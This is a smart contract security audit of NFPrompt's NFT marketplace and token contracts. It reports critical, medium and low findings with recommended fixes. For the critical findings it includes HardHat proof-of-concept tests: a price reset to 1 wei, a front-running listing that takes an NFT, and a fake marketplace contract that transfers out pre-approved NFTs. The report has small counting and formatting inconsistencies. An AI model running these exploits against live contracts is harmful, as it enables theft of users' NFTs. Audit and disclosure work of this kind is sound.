audita

NFPrompt

Security Assessment - Marketplace

June 2, 2023

Prepared for NFPrompt.io

Presented By Audita Security

Document

The contents of this document may include confidential information pertaining to the IT systems, intellectual property, and possible vulnerabilities along with methods of exploitation that the Client may possess. The report that contains this confidential information can be utilized internally by the Client, and can be made available to the public after all vulnerabilities are addressed, depending on the decision of the Client.

Approved by: Jose Saez Lopez @ Audita.io
Contracts: NFP - Marketplace.sol, Nft721.sol
Network: Binance Smart Chain
Programming language: Solidity
Method: Manual Audit by Solidity Experts
Client Website: https://nfprompt.io/
Timeline: 26/05/2023 - 02/06/2023

Table of Contents

Executive Summary

Documentation

There is still no public link to the code's documentation. We recommend making Docs accessible to users, as soon as the final version of the code is published.

Test Coverage

This audit was performed under the assumption that there is a total test coverage of 0%.

Manual Audit

During the manual audit conducted by our experts, we identified 3 Critical severity vulnerabilities.

Additionally, we identified 3 Medium and 7 Low severity vulnerabilities.

17 Informational issues were also indicated, relating to:

- Code Quality
- Code optimization
- Gas Optimization

Overall Assessment

Severity	Count	Acknowledged	Addressed
Critical	3	TBD	TDB
High	0	-	-
Medium	4	TDB	TDB
Low	7	TDB	TDB
Informational	17	TDB	TDB

Audita Vulnerability Classifications

Audita follows the most recent standards for vulnerability severities, taking into consideration both the possible impact and the likelihood of an attack occurring due to a certain vulnerability.

Severity	Description
Critical	Critical vulnerability is one where the attack is more straightforward to execute and can lead to exposure of users' data, with catastrophic financial consequences for clients and users of the smart contracts.
High	The vulnerability is of high importance and impact, as it has the potential to reveal the majority of users' sensitive information and can lead to significant financial consequences for clients and users of the smart contracts.
Medium	The issue at hand poses a potential risk to the sensitive information of a select group of individual users. If exploited, it has the potential to cause harm to the client's reputation and could result in unpleasant financial consequences.
Low	The vulnerability is relatively minor and not likely to be exploited repeatedly, or is a risk that the client has indicated is not impactful or significant, given their unique business situation.
Informational	The issue may not pose an immediate threat to ongoing operation or utilization, but it's essential to consider implementing security and software engineering best practices, or employing backup measures as a safety net.

Scope

The security assessment was scoped to the following smart contracts:

Contract names
`Marketplace.sol`
`Nft721.sol`

General

Compilation

Fails with:

- TypeError: Function needs to specify overridden contract "ERC721URIStorage"
  82 | public view virtual override(ERC721, ERC2981) returns (bool)
- TypeError: Invalid contract specified in override list: "ERC721".
- 82 | public view virtual override(ERC721, ERC2981) returns (bool)

Syntax Recommendations

There are 3 syntax types in the current contract:

- Camel case
- Pascal case
- Snake case

We recommend using only the Camel case everywhere for your variables.

Findings

Summary

Code	Description	Severity
[NMP-C-01]	(listItem) Reset price	Critical
[NFT-C-02]	(listItem) Monitor list item for approval to take ownership of an NFT (front-running)	Critical
[NFT-C-03]	(createTokenNew) Marketplace argument manipulation	Critical
[NMP-M-01]	(buyItem) Unintended royalty_fee increase	Medium
[NMP-M-02]	(buyItem) Explicit validation of native transfers	Medium
[NMP-M-03]	Unrestricted MarketFeeNumerator details	Medium
[NMP-L-01]	Critical address changes should use two-step procedure	Low
[NMP-L-02]	Missing event for critical parameter change	Low
[NMP-L-03]	(listItem) Negative uint check	Low
[NMP-L-04]	(listItem) Price check	Low
[NMP-L-05]	(listItem) NFT approval	Low
[NFT-L-06]	(createTokenNew) Misusage of payable	Low
[NFT-L-07]	(getTokenIdByDBId) Benefit from having default getters	Low
[NMP-I-01]	Interface recommendations	Informational
[NMP-I-02]	Syntax recommendations	Informational
[NMP-I-03]	Standards recommendations	Informational

[NMP-I-04]	(cancelListing) Modifier optimization	`Informational`
[NMP-I-05]	(updateListing) Code optimization	`Informational`
[NMP-I-06]	(modifyMarketFee) User experience around market fee	`Informational`
[NFT-I-07]	Renaming recommendations	`Informational`
[NFT-I-08]	Visibility modifiers recommendations	`Informational`
[NFT-I-09]	Require statements recommendations	`Informational`
[NFT-I-10]	Constructor optimizations	`Informational`
[NFT-I-11]	String recommendations	`Informational`
[NFT-I-12]	Use latest Solidity version	`Informational`
[NFT-I-13]	Use stable pragma statement	`Informational`
[NFT-I-14]	Update external dependency to latest version	`Informational`
[NFT-I-15]	Use named imports instead of plain ImportFile.sol	`Informational`
[NFT-I-16]	Use named parameters in mapping types	`Informational`
[NMP-I-17]	Missing checks for address(0x0)	`Informational`
[NMP-Q-01]	isNotOwner usability	`Question`

Detailed Findings

[NMP-C-01]	(listItem) Reset price	Critical

Details:

One can modify an already listed item and buy it for 1 wei. Consider the following flow:

1. Alice lists an item with a price of 1 ether
2. An attacker comes and provides the same `nftAddress`, Alice as a seller (for owner check to pass) and a price of 1 wei. This would successfully reset Alice's NFT price from 1 ether to 1 wei.
3. The attacker executed the buyItem function to get Alice's NFT for 1 wei.

Refer to the following hack simulation using HardHat and Typescript:

```
it("Should reset price", async () => {
       let signers = await ethers.getSigners();
       const NFTFactory = await ethers.getContractFactory("Nft721");
       nft = await (await NFTFactory.deploy(signers[0].address,true, true,
100)).deployed();
       const MarketFactory = await
ethers.getContractFactory("NftMarketplace");
       marketPlace = await (await
MarketFactory.deploy(signers[0].address,100,signers[0].address)).deployed()
;
       await nft.createTokenNew("1","abc",100,marketPlace.address,100);
       console.log(await marketPlace.getListingByNFT(nft.address, 1));
       await
marketPlace.connect(signers[2]).listItem(nft.address,signers[0].address,1,1
);
       console.log(await marketPlace.getListingByNFT(nft.address, 1));
   });
```

Recommendation:

Refer to the recommendation given after **[NMP-C-02]**.

[NMP-C-02]	(listItem) Monitor list item for approval to take ownership of an NFT (front-running)	Critical

Details:

NFPrompt is an open protocol, and anyone can list an item. To do that, one needs first to approve the NFT for the market. An attacker monitors for approval transactions and front-runs the `listItem` by executing the same transaction with a price of 1 wei and because the NFT has been already approved to the market, it will get transferred to the attacker.

Refer to the following hack simulation using HardHat and Typescript:

```
it("Should take NFT's ownership", async () => {
       let signers = await ethers.getSigners();
       const NFTFactory = await ethers.getContractFactory("Nft721");
       nft = await (await NFTFactory.deploy(signers[0].address, true, true,
100)).deployed();
       const MarketFactory = await
ethers.getContractFactory("NftMarketplace");
       marketPlace = await (await MarketFactory.deploy(signers[0].address,
100,
signers[0].address)).deployed();
       // Create an item and cancel listing for doing it manually
       await nft.createTokenNew("1", "abc", 100, marketPlace.address, 100);
       await marketPlace.cancelListing(nft.address, 1);


// Manually list the item
    await nft.setApprovalForAll(marketPlace.address, true);
    await marketPlace.connect(signers[2]).listItem(nft.address,
signers[0].address, 1,
    await marketPlace.connect(signers[2]).buyItem(nft.address, 1, { value:
1 });
    console.log(signers[2].address);
    console.log(await nft.ownerOf(1));
});
```

Recommendation:

Having in mind both critical issues, it does not work to simply use the **notListed** modifier to mitigate **[NMP-C-01]** as it would not fix **[NMP-C-02]**.
There are 2 options to fix both problems:

1. Replace seller with msg.sender and don't use seller at all
2. In case the business logic requires the usage of a seller argument, implement signature verification - The owner of the NFT should sign the `nftAddress`, `tokenId`, and the price beforehand, and then the transaction executor should provide that signature to verify the owner indeed has allowed these values. The verification is to be done with **ecreovery** so if the resulting address is the seller, only then the item gets listed.

[NFT-C-03]	(createTokenNew) Marketplace argument manipulation	`Critical`

Details:

Marketplace addresses can be provided by anyone.
Because there is `setApprovalForAll`, a hacker could provide his own market implementation that will be granted to steal NFTs.
To do so the hacker's implementation should override the listItem function to do safeTransferFrom to his address. Because the contract pre-approves what market is provided to it, the fake market could steal the NFTs.

Recommendation:

Provide `marketPlace` in the constructor so no one can manipulate it.

Refer to the following hack simulation using HardHat and Typescript:

```
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
contract FakeMarketplace {
   function listItem(
       address nftAddress,
       address seller,
       uint256 tokenId,
       uint256 price
   ) external {
       IERC721(nftAddress).safeTransferFrom(
           0x4c973FF964802EB2e3591Df8B90E7696c397731a,
           0x16b06234725A72DF3C372a059347f488F4FCe35b,
           1
); }
}
it("Should provide fake market place", async () => {
       let signers = await ethers.getSigners();
       const NFTFactory = await ethers.getContractFactory("Nft721");
       nft = await (await NFTFactory.deploy(signers[0].address, true, true,
100)).deployed();
       const MarketFactory = await
ethers.getContractFactory("NftMarketplace");
       marketPlace = await (await MarketFactory.deploy(
           signers[0].address,
           100,
           signers[0].address
       )).deployed();
       const FakeMarketFactory = await
ethers.getContractFactory("FakeMarketplace");
       const fakeMarketPlace = await (await
FakeMarketFactory.deploy()).deployed();
       await nft.createTokenNew("1", "abc", 100, marketPlace.address, 100);
       console.log(await nft.ownerOf(1));
       console.log(signers[0].address);
       console.log(signers[9].address);
       await nft.createTokenNew("2", "abcd", 100, fakeMarketPlace.address,
100);
       console.log(await nft.ownerOf(1));
   });
```

[NMP-M-01]	(buyItem) Unintended royalty_fee increase	Medium

Details:

NFPrompt is an open protocol, and anyone can list their NFT on the marketplace.
That being said, the royalty fee could be changed on the go resulting in the worst case for the seller to not receive any money from the sale.
NFT admin can increase the `royalty_fee` once it has been already listed on the market so the `royalty_fee` could become equal to listed price - market fee. That way the seller would not receive any money from the sale.
There is no purposeful hack risk here, but a royalty fee change by the NFT owner could be detrimental to your winnings.

Recommendation:

Having in mind the `royalty_fee` could vary, how about making the validation to be:
`msg.value != listedItem.price + royalty_fee`
This way a seller will not be impacted by changes in the `royalty_fee` that he has no power to control.

- Having that modification will also skip the need for the seller to update his price every time the `royalty_fee` changes.
- Having that modification is another argument for not having price check validation **[NMP-L-06]**

[NMP-M-02]	(buyItem) Explicit validation of native transfers	Medium

Details:

```
payable(royalty_payee).call{value: royalty_fee}("");
payable(listedItem.seller).call{value: remaining}("");
```

As `royalty_payee` and `listedItem.seller` could be contracts without a receive function, meaning the above 2 lines will revert. Because there is no validation the money will be stuck in the marketplace contract.
In *Marketplace.sol*, the `buyItem()` function's return value is not checked on two occasions in the contract.

Recommendation:
Handle this boolean return value explicitly, as you did with market fee:

```
(bool sent, ) = payable(royalty_payee).call{value: royalty_fee}("");
 require(sent, "error message");
(bool sent, ) = payable(listedItem.seller).call{value: remaining}
("");
require(sent, "error message");
```

[NMP-M-03]	Unrestricted MarketFeeNumerator details	Medium

Details:

In *Marketplace.sol*, we have `modifyMarketFee` function:

```
133:   function modifyMarketFee(uint96 feeNum) isAdmin external {
134:         marketFeeNumerator = feeNum;
```

This function allows the administrator (contract owner) to modify the market fee numerator. By calling this function, the administrator can adjust the market fee charged for each transaction in the marketplace.

The problem here is that there is no restriction on how big the `marketFeeNumerator` can be. Admin can fill in a very big number and take all the rewards from selling an NFT.

Recommendation:
Add a limit on `marketFeeNumerator`.

[NMP-L-01]	Critical address changes should use two-step procedure	Low

Details:

The critical procedures should be a two-step process.

```
nft721.sol
48: function modifyAdmin(address ad) isAdmin external {
49:         admin = ad;
50:     }

Marketplace.sol
125:    function modifyAdmin(address ad) isAdmin external {
126: 127: }
Admin = ad;
```

Recommendation:

Lack of two-step procedure for critical operations leaves them error-prone. Consider adding a two- step procedure on the critical functions.

[NMP-L-02]	Missing event for critical parameter change	Low

Details:

Emitting events allows monitoring activities with off-chain monitoring tools.

```
nft721.sol
48:         function modifyAdmin(address ad) isAdmin external {
49:         admin = ad;
50: }
```

```
52:    function modifySwitch(bool sw) isAdmin external {
53:    mintSwitch = sw;
53: }
```

```
56:    function modifyDefaultRoyaltySwitch(bool df) isAdmin external
{
57:   defaultRoyalty = df;
58: }
```

```
60:    function modifyDefaultRoyaltyNum(uint96 royaltyNum) isAdmin
external {
61:        royaltyNumerator = royaltyNum;
62:    }

Marketplace.sol
125:    function modifyAdmin(address ad) isAdmin external {
126:         Admin = ad;
127: }
```

```
129:    function modifyMarketStatus(bool status) isAdmin external {
130:          marketStatus = status;
131: }

133:    function modifyMarketFee(uint96 feeNum) isAdmin external {
134:        marketFeeNumerator = feeNum;
135: }
```

```
137:    function modifyBeneficiary(address receiver) isAdmin
external {
138:        Beneficiary = receiver;
139:    }
```

Recommendation:
Emit events in order to be able to enable monitoring activities from off-chain monitoring tools.

[NMP-L-03]	(listItem) Negative uint check	Low

Details:

```
if (price <= 0)
```

Price is uint meaning it can not go below 0.

Recommendation:
Our recommendation is to remove the equality sign.

[NMP-L-04]	(listItem) Price check	Low

Details:

Is there a specific intention to check explicitly if the price is bigger than 0? As the price could be 1 wei, meaning most probably the market fee will be 0.
In case the price, however, is less than `royalty_fee`, the `buyItem` will revert.
Having that in mind it makes more sense to validate if the price is at least equal to `royalty_fee`. Royalty fee, however, could be changed on the go (external NFT), so such a validation could be irrelevant.

Recommendation:
Our recommendation is to remove this validation.

[NMP-L-05]	(listItem) NFT approval	Low

Details:

```
require(nft.isApprovedForAll(seller, address(this)));
```

An item could be approved at the time of listing, but at the time of buying it could be not approved, making that requirement irrelevant.

Recommendation:
Move that requirement to the buyItem function.

[NFT-L-06]	(createTokenNew) Misusage of payable	Low

Details:
There is no reason to have a payable function, as there is no usage of msg.value.

[NFT-L-07]	(getTokenIdByDBId) Benefit from having default getters	Low

Details:

The function could be removed in case `ref` mapping has a public visibility modifier. For every storage variable with a public visibility modifier, a default getter will be generated at compile time.

[NMP-I-01]	Interface recommendations	Informational

Details:

NFTMarketPlace inherits the IMarketPlace interface which is a best practice.

Having that in mind we recommend moving all the structs, errors, and events in the interface to keep the best practice.

[NMP-I-02]	Syntax recommendations	Informational

Details:

We recommend using only the camel case everywhere for your variables.

[NMP-I-03]	Standards recommendations	Informational

Details:

We recommend inheriting `Ownable.sol` from OpenZeppelin for the `isAdmin` functionality. This informational issue is present in both contracts.

[NMP-I-04]	(cancelListing) Modifier optimization	Informational

Details:

isListed modifier could be skipped to decrease gas cost and code size.
Nothing can happen if an item has not been listed beforehand.
msg.sender will simply pay gas for a transaction doing nothing.

[NMP-I-05]	(updateListing) Code optimization	Informational

Details:

listItem and updateListing are pretty similar making the code redundant. In case you agree with **[NMP-L-05]**, updateListing function could be removed, to decrease contract size and one can re-use listItem for doing updates.

[NMP-I-06]	(modifyMarketFee) User experience around market fee	Informational

Details:

Consider having marketFeeNumerator as a constant.

That way, it would only increase community trust & transparency. In case a seller specifies one price and then the market fee increases, the seller should update his item or the marketplace would receive part of his expected money, meaning he would receive less. To stay consistent with the desired sale price, the seller should monitor for fee increase/decrease to adjust the item's price by doing one more transaction that would cost him more gas.

[NFT-I-07]	Renaming recommendations	Informational

Details:

As there is an implementation on top of the standard ERC721, we recommend renaming the contract.

[NFT-I-08]	Visibility modifiers recommendations	Informational

Details:

Most of the storage variables have no visibility modifier. We recommend using a public modifier for all the storage variables to benefit from default-generated getters.

```
bool mintSwitch;
bool defaultRoyalty;
uint96 royaltyNumerator;
address admin;
mapping(string => uint256) ref;
```

[NFT-I-09]	Require statements recommendations	Informational

Details:

It is good practice for require statements to have an error string.

[NFT-I-10]	Constructor optimizations	Informational

Details:

There is no need of having `_setDefaultRoyalty`, as on every `createTokenNew`, the `msg.sender` will be the beneficiary, so `defaultRoyalty` will never be used, meaning also the contract would not receive any fee from an NFT sale.
For that reason, setting default royalty is redundant, as it's only increasing the gas cost and code size.

[NFT-I-11]	String recommendations	Informational

Details:

Usage of strings is more expensive than using bytes. We recommend making the strings into bytes where this is possible.
Having in mind that you can not have a mapping with bytes, we suggest hashing the db_id beforehand (to become bytes32), and using bytes32 as a key in the mapping.

[NFT-I-12]	Use latest Solidity version	Informational

Details:

It is recommended that Solidity pragma versioning be upgraded to the latest available version.

[NFT-I-13]	Use stable pragma statement	Informational

Details:

Using a floating pragma statement `^0.8.7` is discouraged, as code can compile to different bytecodes with different compiler versions.
Use a stable pragma statement to get a deterministic bytecode.

[NFT-I-14]	Update external dependency to latest version	Informational

Details:

The latest version is 4.9.0.

```
package.json:

  13: "@openzeppelin/contracts": "^4.8.3"
```

[NFT-I-15]	Use named imports instead of plain ImportFile.sol	Informational

Details:

```
nft721.sol
4: import "@openzeppelin/contracts/utils/Counters.sol";
5: import
"@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.so
l";
6: import "@openzeppelin/contracts/token/common/ERC2981.sol";
7: import "./interface/IMarketplace.sol";
Marketplace.sol
4: import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
5: import "@openzeppelin/contracts/utils/Counters.sol";
```

```
6: import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
7: import "@openzeppelin/contracts/token/common/ERC2981.sol";
8: import "./interface/IMarketplace.sol";
```

[NFT-I-16]	Use named parameters in mapping types	Informational

Details:

From Solidity 0.8.18 you can use named parameters in mapping types. This will make the code much more readable.

[NMP-I-17]	Missing checks for address(0x0)	Informational

Details:

Lack of zero-address validation on address parameters may lead to transaction reverts, waste gas, require resubmission of transactions and may even force contract redeployments in certain cases within the protocol.

Consider adding explicit zero-address validation on input parameters of address type.

[NMP-Q-01]	isNotOwner usability	Question

Details:

Question to the team: Is there a specific intention behind the isNotOwner modifier?
If the owner buys his own NFT, he will simply "donate" money to the Beneficiary and to the royalti_payee.

Overall Assessment

Severity	Count	Acknowledged	Addressed
Critical	3	TBD	TDB
High	0	-	-
Medium	4	TDB	TDB
Low	7	TDB	TDB
Informational	17	TDB	TDB

NFP's team is currently evaluating findings.

The second version of this report will reflect acknowledgements and any fixes addressed.

Recommendations

Audita has put forward the following recommendations for NFPrompt's contracts:

- Replace seller with msg.sender and don't use seller at all, OR
- In case the business logic requires the usage of a seller argument, implement signature verification - The owner of the NFT should sign the `nftAddress`, `tokenId`, and the price beforehand, and then the transaction executor should provide that signature to verify the owner indeed has allowed these values.
- Provide `marketPlace` in the constructor so no one can manipulate it.
- Make the validation for the royalty fee be: `msg.value != listedItem.price + royalty_fee`, to prevent the seller from being impacted by changes in marketplace royalty fee, and from having to adjust his price every time a change occurs.
- Implement explicit validation of native transfers and return values.
- Add a limit on `marketFeeNumerator`.
- Consider adding a two- step procedure on the critical functions.
- Emit events in order to be able to enable monitoring activities from off-chain monitoring tools.
- Remove the equality sign upon negative uint check.
- Remove the validation for price bigger than 0.
- Move the requirement for NFT approval to the buyItem function.
- Remove payable function, as there is no usage of msg.value.
- Benefit from having default getters for every storage variable with a public visibility modifier.
- Move all the structs, errors, and events in the interface to align with best practices.
- Use only the camel case everywhere for your variables.
- Inherit `Ownable.sol` from OpenZeppelin for the `isAdmin` functionality.
- Skip `isListed` modifier to decrease gas cost and code size.

- Remove `updateListing` function, to decrease contract size and re-use `listItem` for doing updates.
- Consider having `marketFeeNumerator` as a constant.
- Rename `nft721.sol`, as there is an implementation on top of the standard ERC721.
- Use a public modifier for all the storage variables to benefit from default-generated getters.
- Have an error string for require statements.
- Optimize the constructor by removing the setting for default royalty.
- Make the strings into bytes where possible.
- Upgrade Solidity pragma versioning to the latest available version.
- Use a stable pragma statement to get a deterministic bytecode.
- Update external dependency to 4.9.0.
- Use named imports instead of plain ImportFile.sol
- Use named parameters in mapping types to make the code much more readable.
- Consider adding explicit zero-address validation on input parameters of address type.

Disclaimer

This audit makes no statements or warranties on the security of the code. This report should not be considered a sufficient assessment on the safety of the code, quality status, or any other contract statements. **While we have conducted the analysis to our best abilities and produced this report in line with latest industry developments, it is important to not rely on this report only.** In order for contracts to be considered as safe as possible, the industry standard requires them to be checked by several independent auditing bodies. Those can be other audit firms or public bounty programs.

The contacts live on a blockchain (a smart contract platform) - Smart contract platforms, their programming languages, and other software components are not immune to vulnerabilities that can be exploited by hackers. As a result, although a smart contract audit can help identify potential security issues, it cannot provide an absolute guarantee of the audited smart contract's security.